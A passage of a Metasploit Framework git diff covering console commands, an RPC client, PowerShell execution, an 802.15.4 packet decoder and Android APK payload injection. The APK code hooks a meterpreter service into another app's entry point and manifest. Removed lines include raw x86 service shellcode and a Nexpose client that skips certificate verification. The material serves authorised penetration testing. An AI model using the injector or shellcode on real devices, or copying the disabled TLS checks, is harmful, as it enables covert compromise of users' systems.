File.basename file_name + for oldclass, newclass in classes + if smali_class == "#{oldclass}.smali" + smali_class = "#{newclass}.smali" + end + smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass) + end + smali.gsub!(/com\/metasploit\/stage/, package_slash) + newfilename = "#{payload_dir}#{smali_class}" + File.open(newfilename, "wb") {|file| file.puts smali } end - payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V + payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V ^ + entrypoint - hookedsmali = activitysmali.sub(entrypoint, payloadhook) + hookedsmali = hooksmali.sub(entrypoint, payloadhook) print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } @@ -237,7 +258,7 @@ class Msf::Payload::Apk injected_apk = "#{tempdir}/output.apk" aligned_apk = "#{tempdir}/aligned.apk" print_status "Poisoning the manifest with meterpreter permissions..\n" - fix_manifest(tempdir, package) + fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver']) print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index 6940c3bb13..7c26b2c721 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -26,6 +26,7 @@ module Msf::Payload::Php # Canonicalize the list of disabled functions to facilitate choosing a # system-like function later. preamble = "/* [Array of data], .. + def dot154_packet_decode(packet) + result = {} + offset = 0 + pktchop = ['', '', '', '', '', '', [], ''] + pktchop[0] = packet[0,2] + # Sequence number + pktchop[1] = packet[2] + # Byte swap + fcf = pktchop[0].reverse.unpack("H*")[0].hex + result["FSF"] = fcf + result["SEQ"] = pktchop[1] + # Check if we are dealing with a beacon frame + if (fcf & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON + beacondata = ["", "", "", "", "", "", "", "", "", ""] + # 802.15.4 fields, SPAN and SA + pktchop[4] = packet[3,2] + pktchop[5] = packet[5,2] + result["SPAN_ID"] = pktchop[4].reverse.unpack("H*")[0] + result["SOURCE"] = pktchop[5].reverse.unpack("H*")[0] + offset = 7 + + # Superframe specification + beacondata[0] = packet[offset,2] + result["SUPERFRAME"] = beacondata[0] + offset+=2 + + # GTS data + beacondata[1] = packet[offset] + result["GTS"] = beacondata[1] + offset+=1 + + # Pending address count + beacondata[2] = packet[offset] + result["PENDING_ADDRESS_COUNT"] = beacondata[2] + offset+=1 + + # Protocol ID + beacondata[3] = packet[offset] + result["PROTOCOL_ID"] = beacondata[3] + offset+=1 + + # Stack Profile version + beacondata[4] = packet[offset] + result["STACK_PROFILE"] = beacondata[4] + offset+=1 + + # Capability information + beacondata[5] = packet[offset] + result["CAPABILITY"] = beacondata[5] + offset+=1 + + # Extended PAN ID + beacondata[6] = packet[offset,8] + result["EXT_PAN_ID"] = beacondata[6].reverse.unpack("H*")[0] + offset+=8 + + # TX Offset + beacondata[7] = packet[offset,3] + result["TX_OFFSET"] = beacondata[7] + offset+=3 + + # Update ID + beacondata[8] = packet[offset] + result["UPDATE_ID"] = beacondata[8] + offset+=1 + pktchop[6] = beacondata + result["BEACONDATA"] = beacondata + else + # Not a beacon frame + + # DPAN + pktchop[2] = packet[3,2] + offset = 5 + + # Examine the destination addressing mode + daddr_mask = (fcf & DOT154_FCF_DADDR_MASK) >> 10 + if daddr_mask == DOT154_FCF_ADDR_EXT + pktchop[3] = packet[offset,8] + offset+=8 + elsif daddr_mask == DOT154_FCF_ADDR_SHORT + pktchop[3] = packet[offset,2] + offset+=2 + end + + # Examine the Intra-PAN flag + if (fcf & DOT154_FCF_INTRA_PAN) == 0 + pktchop[4] = packet[offset,2] + offset+=2 + end + + # Examine the source addressing mode + saddr_mask = (fcf & DOT154_FCF_SADDR_MASK) >> 14 + if daddr_mask == DOT154_FCF_ADDR_EXT + pktchop[5] = packet[offset,8] + offset+=8 + elsif daddr_mask == DOT154_FCF_ADDR_SHORT + pktchop[5] = packet[offset,2] + offset+=2 + end + end + # Append remaining payload + pktchop[7] = packet[offset,packet.size] if offset < packet.size + result["PktChop"] = pktchop + return result + end +end + +end +end +end +end diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 60ab07ab90..ebed765008 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -29,7 +29,7 @@ module Msf # Returns true if powershell is installed # def have_powershell? - cmd_exec('cmd.exe /c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m + cmd_exec('cmd.exe', '/c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m end # @@ -88,9 +88,9 @@ module Msf script = encode_script(script.to_s) end - ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None" - vprint_good "EXECUTING:\n#{ps_string}" - cmd_out = session.sys.process.execute(ps_string, nil, { 'Hidden' => true, 'Channelized' => true }) + ps_string = "-EncodedCommand #{script} -InputFormat None" + vprint_good "EXECUTING:\n#{ps_bin} #{ps_string}" + cmd_out = session.sys.process.execute(ps_bin, ps_string, { 'Hidden' => true, 'Channelized' => true }) # Subtract prior PIDs from current if greedy_kill diff --git a/lib/msf/core/rpc/v10/client.rb b/lib/msf/core/rpc/v10/client.rb index 459d57633c..06952e90b0 100644 --- a/lib/msf/core/rpc/v10/client.rb +++ b/lib/msf/core/rpc/v10/client.rb @@ -28,6 +28,9 @@ class Client # @option info [String] :token A token used by the client. # @return [void] def initialize(info={}) + @user = nil + @pass = nil + self.info = { :host => '127.0.0.1', :port => 3790, @@ -41,14 +44,16 @@ class Client end - # Logs in by calling the 'auth.login' API. The authentication token will expire 5 minutes - # after the last request was made. + # Logs in by calling the 'auth.login' API. The authentication token will expire after 5 + # minutes, but will automatically be rewnewed when you make a new RPC request. # # @param [String] user Username. # @param [String] pass Password. # @raise RuntimeError Indicating a failed authentication. # @return [TrueClass] Indicating a successful login. def login(user,pass) + @user = user + @pass = pass res = self.call("auth.login", user, pass) unless (res && res['result'] == "success") raise RuntimeError, "authentication failed" @@ -58,6 +63,14 @@ class Client end + # Attempts to login again with the last known user name and password. + # + # @return [TrueClass] Indicating a successful login. + def re_login + login(@user, @pass) + end + + # Calls an API. # # @param [String] meth The RPC API to call. @@ -75,6 +88,10 @@ class Client # # {"version"=>"4.11.0-dev", "ruby"=>"2.1.5 x86_64-darwin14.0 2014-11-13", "api"=>"1.0"} # rpc.call('core.version') def call(meth, *args) + if meth == 'auth.logout' + do_logout_cleanup + end + unless meth == "auth.login" unless self.token raise RuntimeError, "client not authenticated" @@ -84,6 +101,36 @@ class Client args.unshift(meth) + begin + send_rpc_request(args) + rescue Msf::RPC::ServerException => e + if e.message =~ /Invalid Authentication Token/i && meth != 'auth.login' && @user && @pass + re_login + args[1] = self.token + retry + else + raise e + end + ensure + @cli.close if @cli + end + + end + + + # Closes the client. + # + # @return [void] + def close + if @cli && @cli.conn? + @cli.close + end + @cli = nil + end + + private + + def send_rpc_request(args) unless @cli @cli = Rex::Proto::Http::Client.new(info[:host], info[:port], info[:context], info[:ssl], info[:ssl_version]) @cli.set_config( @@ -101,7 +148,6 @@ class Client ) res = @cli.send_recv(req) - @cli.close if res && [200, 401, 403, 500].include?(res.code) resp = MessagePack.unpack(res.body) @@ -118,18 +164,11 @@ class Client end end - - # Closes the client. - # - # @return [void] - def close - if @cli && @cli.conn? - @cli.close - end - @cli = nil + def do_logout_cleanup + @user = nil + @pass = nil end end end end - diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index 19bf3fb964..32efa7a978 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -27,9 +27,11 @@ class Auxiliary # def commands super.update({ - "run" => "Launches the auxiliary module", - "rerun" => "Reloads and launches the auxiliary module", - "exploit" => "This is an alias for the run command", + "run" => "Launches the auxiliary module", + "rcheck" => "Reloads the module and checks if the target is vulnerable", + "rerun" => "Reloads and launches the auxiliary module", + "exploit" => "This is an alias for the run command", + "recheck" => "This is an alias for the rcheck command", "rexploit" => "This is an alias for the rerun command", "reload" => "Reloads the auxiliary module" }).merge( (mod ? mod.auxiliary_commands : {}) ) @@ -147,6 +149,18 @@ class Auxiliary alias cmd_exploit_help cmd_run_help + # + # Reloads an auxiliary module and checks the target to see if it's + # vulnerable. + # + def cmd_rcheck(*args) + reload() + + cmd_check(*args) + end + + alias cmd_recheck cmd_rcheck + end end end end end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index a03fa90785..e29343a1ab 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -715,27 +715,34 @@ class Core end def cmd_load_help - print_line "Usage: load [var=val var=val ...]" + print_line "Usage: load [var=val var=val ...]" print_line - print_line "Loads a plugin from the supplied path. If path is not absolute, first looks" - print_line "in the user's plugin directory (#{Msf::Config.user_plugin_directory}) then" - print_line "in the framework root plugin directory (#{Msf::Config.plugin_directory})." + print_line "Loads a plugin from the supplied path." + print_line "For a list of built-in plugins, do: load -l" print_line "The optional var=val options are custom parameters that can be passed to plugins." print_line end - # - # Loads a plugin from the supplied path. If no absolute path is supplied, - # the framework root plugin directory is used. - # - def cmd_load(*args) - if (args.length == 0) - cmd_load_help - return false - end + def list_plugins + plugin_directories = { + 'Framework' => Msf::Config.plugin_directory, + 'User' => Msf::Config.user_plugin_directory + } + + plugin_directories.each do |type, plugin_directory| + items = Dir.entries(plugin_directory).keep_if { |n| n.match(/^.+\.rb$/)} + next if items.empty? + print_status("Available #{type} plugins:") + items.each do |item| + print_line(" * #{item.split('.').first}") + end + print_line + end + end + + def load_plugin(args) + path = args[0] - # Default to the supplied argument path. - path = args.shift opts = { 'LocalInput' => driver.input, 'LocalOutput' => driver.output, @@ -759,7 +766,6 @@ class Core # If the following "path" doesn't exist it will be caught when we attempt to load path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name end - end # Load that plugin! @@ -773,6 +779,21 @@ class Core end end + # + # Loads a plugin from the supplied path. If no absolute path is supplied, + # the framework root plugin directory is used. + # + def cmd_load(*args) + case args[0] + when '-l' + list_plugins + when '-h', nil, '' + cmd_load_help + else + load_plugin(args) + end + end + # # Tab completion for the load command # @@ -890,9 +911,10 @@ class Core Rex::Socket::SwitchBoard.flush_routes when "print" - tbl = Table.new( + # IPv4 Table + tbl_ipv4 = Table.new( Table::Style::Default, - 'Header' => "Active Routing Table", + 'Header' => "IPv4 Active Routing Table", 'Prefix' => "\n", 'Postfix' => "\n", 'Columns' => @@ -907,6 +929,25 @@ class Core 'Netmask' => { 'MaxWidth' => 17 }, }) + # IPv6 Table + tbl_ipv6 = Table.new( + Table::Style::Default, + 'Header' => "IPv6 Active Routing Table", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => + [ + 'Subnet', + 'Netmask', + 'Gateway', + ], + 'ColProps' => + { + 'Subnet' => { 'MaxWidth' => 17 }, + 'Netmask' => { 'MaxWidth' => 17 }, + }) + + # Populate Route Tables Rex::Socket::SwitchBoard.each { |route| if (route.comm.kind_of?(Msf::Session)) gw = "Session #{route.comm.sid}" @@ -914,14 +955,22 @@ class Core gw = route.comm.name.split(/::/)[-1] end - tbl << [ route.subnet, route.netmask, gw ] + tbl_ipv4 << [ route.subnet, route.netmask, gw ] if Rex::Socket.is_ipv4?(route.netmask) + tbl_ipv6 << [ route.subnet, route.netmask, gw ] if Rex::Socket.is_ipv6?(route.netmask) } - if tbl.rows.length == 0 - print_status('There are currently no routes defined.') - else - print(tbl.to_s) + # Print Route Tables + print(tbl_ipv4.to_s) if tbl_ipv4.rows.length > 0 + print(tbl_ipv6.to_s) if tbl_ipv6.rows.length > 0 + + if (tbl_ipv4.rows.length + tbl_ipv6.rows.length) < 1 + print_status("There are currently no routes defined.") + elsif (tbl_ipv4.rows.length < 1) && (tbl_ipv6.rows.length > 0) + print_status("There are currently no IPv4 routes defined.") + elsif (tbl_ipv4.rows.length > 0) && (tbl_ipv6.rows.length < 1) + print_status("There are currently no IPv6 routes defined.") end + else cmd_route_help end @@ -1503,6 +1552,16 @@ class Core end end + # Warn when setting RHOST option for module which expects RHOSTS + if args.first.upcase.eql?('RHOST') + mod = active_module + unless mod.nil? + if !mod.options.include?('RHOST') && mod.options.include?('RHOSTS') + print_warning("RHOST is not a valid option for this module. Did you mean RHOSTS?") + end + end + end + # Set the supplied name to the supplied value name = args[0] value = args[1, args.length-1].join(' ') diff --git a/lib/msf/ui/console/command_dispatcher/creds.rb b/lib/msf/ui/console/command_dispatcher/creds.rb index 626a8d82d0..17ce194365 100644 --- a/lib/msf/ui/console/command_dispatcher/creds.rb +++ b/lib/msf/ui/console/command_dispatcher/creds.rb @@ -202,7 +202,7 @@ class Creds end begin - params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','host','port') + params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name') rescue ArgumentError => e print_error(e.message) end @@ -213,6 +213,13 @@ class Creds print_error("You can only specify a single Private type. Private types given: #{private_keys.join(', ')}") return end + + login_keys = params.slice('address','port','protocol','service-name') + if login_keys.any? and login_keys.length < 3 + missing_login_keys = ['host','port','proto','service-name'] - login_keys.keys + print_error("Creating a login requires a address, a port, and a protocol. Missing params: #{missing_login_keys}") + return + end data = { workspace_id: framework.db.workspace, @@ -260,9 +267,17 @@ class Creds data[:private_type] = :nonreplayable_hash data[:private_data] = params['hash'] end - + begin - create_credential(data) + if login_keys.any? + data[:address] = params['address'] + data[:port] = params['port'] + data[:protocol] = params['protocol'] + data[:service_name] = params['service-name'] + create_credential_and_login(data) + else + create_credential(data) + end rescue ActiveRecord::RecordInvalid => e print_error("Failed to add #{data['private_type']}: #{e}") end diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index d2c542c280..a65c1a2093 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -32,9 +32,10 @@ class Exploit "exploit" => "Launch an exploit attempt", "rcheck" => "Reloads the module and checks if the target is vulnerable", "rexploit" => "Reloads the module and launches an exploit attempt", - "reload" => "Just reloads the module", "run" => "Alias for exploit", + "recheck" => "Alias for rcheck", "rerun" => "Alias for rexploit", + "reload" => "Just reloads the module" }) end @@ -186,6 +187,8 @@ class Exploit cmd_check(*args) end + alias cmd_recheck cmd_rcheck + # # Reloads an exploit module and launches an exploit. # diff --git a/lib/msf/ui/console/command_dispatcher/jobs.rb b/lib/msf/ui/console/command_dispatcher/jobs.rb index 75f2f595f8..ac184be4e6 100644 --- a/lib/msf/ui/console/command_dispatcher/jobs.rb +++ b/lib/msf/ui/console/command_dispatcher/jobs.rb @@ -321,7 +321,9 @@ module Msf 'ExitOnSession' => exit_on_session, 'RunAsJob' => true } + handler.datastore.reverse_merge!(payload_datastore) + handler.datastore.merge!(handler_opts) # Launch our Handler and get the Job ID handler.exploit_simple(handler_opts) diff --git a/lib/msf/ui/console/command_dispatcher/post.rb b/lib/msf/ui/console/command_dispatcher/post.rb index 7b64a01098..7400d6b796 100644 --- a/lib/msf/ui/console/command_dispatcher/post.rb +++ b/lib/msf/ui/console/command_dispatcher/post.rb @@ -63,7 +63,7 @@ class Post end # - # Reloads an auxiliary module and executes it + # Reloads a post module and executes it # def cmd_rerun(*args) # Stop existing job and reload the module @@ -75,7 +75,7 @@ class Post alias cmd_rexploit cmd_rerun # - # Executes an auxiliary module + # Executes a post module # def cmd_run(*args) opt_str = nil @@ -144,7 +144,7 @@ class Post print_line "Usage: run [options]" print_line print_line "Launches a post module." - print @@auxiliary_opts.usage + print @@post_opts.usage end alias cmd_exploit_help cmd_run_help diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 027c367c22..46a80ba9e3 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -192,6 +192,8 @@ module ModuleCommandDispatcher if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) print_good("#{peer} #{code[1]}") + # Restore RHOST for report_vuln + instance.datastore['RHOST'] ||= rhost report_vuln(instance) else print_status("#{peer} #{code[1]}") diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index d9e14ecf45..b0d47f978c 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -2,12 +2,12 @@ module Msf module Util - # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # + class EXE require 'rex' @@ -50,7 +50,6 @@ require 'msf/core/exe/segment_appender' # Check if it exists now return if File.file?(opts[:template]) - # If it failed, try the default... if opts[:fallback] default_template = File.join(path, exe) @@ -628,67 +627,15 @@ require 'msf/core/exe/segment_appender' opts[:exe_type] = :service_exe return exe_sub_method(code,opts) else - name = opts[:servicename] - name ||= Rex::Text.rand_text_alpha(8) - pushed_service_name = string_to_pushes(name) + ENV['MSF_SERVICENAME'] = opts[:servicename] - precode_size = 0xc6 - svcmain_code_offset = precode_size + pushed_service_name.length + opts[:framework] = framework + opts[:payload] = 'stdin' + opts[:encoder] = '@x86/service,'+opts[:serviceencoder] - precode_size = 0xcc - hash_code_offset = precode_size + pushed_service_name.length - - precode_size = 0xbf - svcctrlhandler_code_offset = precode_size + pushed_service_name.length - - code_service_stopped = - "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + - "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + - "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + - "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + - "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" - - precode_size = 0x42 - shellcode_code_offset = code_service_stopped.length + precode_size - - # code_service could be encoded in the future - code_service = - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + - "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + - "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + - "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + - "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + - "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" + - "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + - "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + - "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + - "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + - "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + - "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + - "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + - "\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" + - "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + - "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" + - "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + - "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + - "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + - "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" - - # Append a new section to the template - Msf::Exe::SegmentAppender.new({ - :payload => code_service + code, - :template => opts[:template], - :arch => :x86 - }).generate_pe + venom_generator = Msf::PayloadGenerator.new(opts) + code_service = venom_generator.multiple_encode_payload(code) + return to_winpe_only(framework, code_service, opts) end end diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb deleted file mode 100644 index e8b0c6e34d..0000000000 --- a/lib/rapid7/nexpose.rb +++ /dev/null @@ -1,2618 +0,0 @@ -# -# The Nexpose API -# -=begin - -Copyright (C) 2009-2012, Rapid7, Inc. -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - - * Neither the name of Rapid7, Inc. nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -=end - -# -# WARNING! This code makes an SSL connection to the Nexpose server, but does NOT -# verify the certificate at this time. This can be a security issue if -# an attacker is able to man-in-the-middle the connection between the -# Metasploit console and the Nexpose server. In the common case of -# running Nexpose and Metasploit on the same host, this is a low risk. -# - -# -# WARNING! This code is still rough and going through substantive changes. While -# you can build tools using this library today, keep in mind that method -# names and parameters may change in the future. -# - -require 'date' -require 'rexml/document' -require 'net/https' -require 'net/http' -require 'uri' -require 'rex/mime' - - -module Nexpose - -module Sanitize - def replace_entities(str) - ret = str.dup - ret.gsub!(/&/, "&") - ret.gsub!(/'/, "'") - ret.gsub!(/"/, """) - ret.gsub!(/, "<") - ret.gsub!(/>/, ">") - ret - end -end - -class APIError < ::RuntimeError - attr_accessor :req, :reason - def initialize(req, reason = '') - self.req = req - self.reason = reason - end - def to_s - "NexposeAPI: #{self.reason}" - end -end - -class AuthenticationFailed < APIError - def initialize(req) - self.req = req - self.reason = "Login Failed" - end -end - -module XMLUtils - def parse_xml(xml) - ::REXML::Document.new(xml.to_s) - end -end - -class APIRequest - include XMLUtils - - attr_reader :http - attr_reader :uri - attr_reader :headers - attr_reader :retry_count - attr_reader :time_out - attr_reader :pause - - attr_reader :req - attr_reader :res - attr_reader :sid - attr_reader :success - - attr_reader :error - attr_reader :trace - - attr_reader :raw_response - attr_reader :raw_response_data - - def initialize(req, url) - @url = url - @req = req - prepare_http_client - end - - def prepare_http_client - @retry_count = 0 - @retry_count_max = 10 - @time_out = 30 - @pause = 2 - @uri = URI.parse(@url) - @http = ::Net::HTTP.new(@uri.host, @uri.port) - @http.use_ssl = true - # - # XXX: This is obviously a security issue, however, we handle this at the client level by forcing - # a confirmation when the nexpose host is not localhost. In a perfect world, we would present - # the server signature before accepting it, but this requires either a direct callback inside - # of this module back to whatever UI, or opens a race condition between accept and attempt. - # - @http.verify_mode = OpenSSL::SSL::VERIFY_NONE - @headers = {'Content-Type' => 'text/xml'} - @success = false - end - - def execute - @conn_tries = 0 - - begin - prepare_http_client - - @raw_response = @http.post(@uri.path, @req, @headers) - @raw_response_data = @raw_response.body - @res = parse_xml(@raw_response_data) - - if(not @res.root) - @error = "Nexpose service returned invalid XML" - return @sid - end - - @sid = attributes['session-id'] - - @success = true - - if(attributes['success'] and attributes['success'].to_i == 0) - @success = false - end - - # Look for a stack trace - @res.elements.each('//Failure/Exception') do |s| - - # 1.1 returns lower case elements - s.elements.each('message') do |m| - @error = m.text - end - s.elements.each('stacktrace') do |m| - @trace = m.text - end - - # 1.2 returns capitalized elements - s.elements.each('Message') do |m| - @error = m.text - end - s.elements.each('Stacktrace') do |m| - @trace = m.text - end - end - - @res.elements.each('//Failure') do |s| - - # 1.1 returns lower case elements - s.elements.each('message') do |m| - @error = m.text - end - s.elements.each('stacktrace') do |m| - @trace = m.text - end - - # 1.2 returns capitalized elements - s.elements.each('Message') do |m| - @error = m.text - end - s.elements.each('Stacktrace') do |m| - @trace = m.text - end - end - - # This is a hack to handle corner cases where a heavily loaded Nexpose instance - # drops our HTTP connection before processing. We try 5 times to establish a - # connection in these situations. The actual exception occurs in the Ruby - # http library, which is why we use such generic error classes. - rescue ::ArgumentError, ::NoMethodError - if @conn_tries < 5 - @conn_tries += 1 - retry - end - rescue ::Timeout::Error - if @conn_tries < 5 - @conn_tries += 1 - retry - end - @error = "Nexpose host did not respond" - rescue ::SocketError, ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::EADDRNOTAVAIL - @error = "Nexpose host is unreachable" - # Handle console-level interrupts - rescue ::Interrupt - @error = "Received a user interrupt" - rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED, ::OpenSSL::SSL::SSLError - @error = "Nexpose service is not available" - rescue ::REXML::ParseException - @error = "Nexpose has not been properly licensed" - end - - @success = false if @error - - @sid - end - - def attributes(*args) - return if not @res.root - @res.root.attributes(*args) - end - - def self.execute(url,req) - obj = self.new(req,url) - obj.execute - if(not obj.success) - raise APIError.new(obj, "Action failed: #{obj.error}") - end - obj - end - -end - -module NexposeAPI - - def make_xml(name, opts={}, data='') - xml = REXML::Element.new(name) - if(@session_id) - xml.attributes['session-id'] = @session_id - end - - opts.keys.each do |k| - xml.attributes[k] = "#{opts[k]}" - end - - xml.text = data - - xml - end - - def make_xml_plain(name, opts={}, data='') - xml = REXML::Element.new(name) - - opts.keys.each do |k| - xml.attributes[k] = "#{opts[k]}" - end - - xml.text = data - - xml - end - def scan_stop(param) - r = execute(make_xml('ScanStopRequest', { 'scan-id' => param })) - r.success - end - - def scan_status(param) - r = execute(make_xml('ScanStatusRequest', { 'scan-id' => param })) - r.success ? r.attributes['status'] : nil - end - - def scan_activity - r = execute(make_xml('ScanActivityRequest', { })) - if(r.success) - res = [] - r.res.elements.each("//ScanSummary") do |scan| - res << { - :scan_id => scan.attributes['scan-id'].to_i, - :site_id => scan.attributes['site-id'].to_i, - :engine_id => scan.attributes['engine-id'].to_i, - :status => scan.attributes['status'].to_s, - :start_time => Date.parse(scan.attributes['startTime'].to_s).to_time - } - end - return res - else - return false - end - end - - def scan_statistics(param) - r = execute(make_xml('ScanStatisticsRequest', {'scan-id' => param })) - if(r.success) - res = {} - r.res.elements.each("//ScanSummary/nodes") do |node| - res[:nodes] = {} - node.attributes.keys.each do |k| - res[:nodes][k] = node.attributes[k].to_i - end - end - r.res.elements.each("//ScanSummary/tasks") do |task| - res[:task] = {} - task.attributes.keys.each do |k| - res[:task][k] = task.attributes[k].to_i - end - end - r.res.elements.each("//ScanSummary/vulnerabilities") do |vuln| - res[:vulns] ||= {} - k = vuln.attributes['status'] + (vuln.attributes['severity'] ? ("-" + vuln.attributes['severity']) : '') - res[:vulns][k] = vuln.attributes['count'].to_i - end - r.res.elements.each("//ScanSummary") do |summ| - res[:summary] = {} - summ.attributes.keys.each do |k| - res[:summary][k] = summ.attributes[k] - if (res[:summary][k] =~ /^\d+$/) - 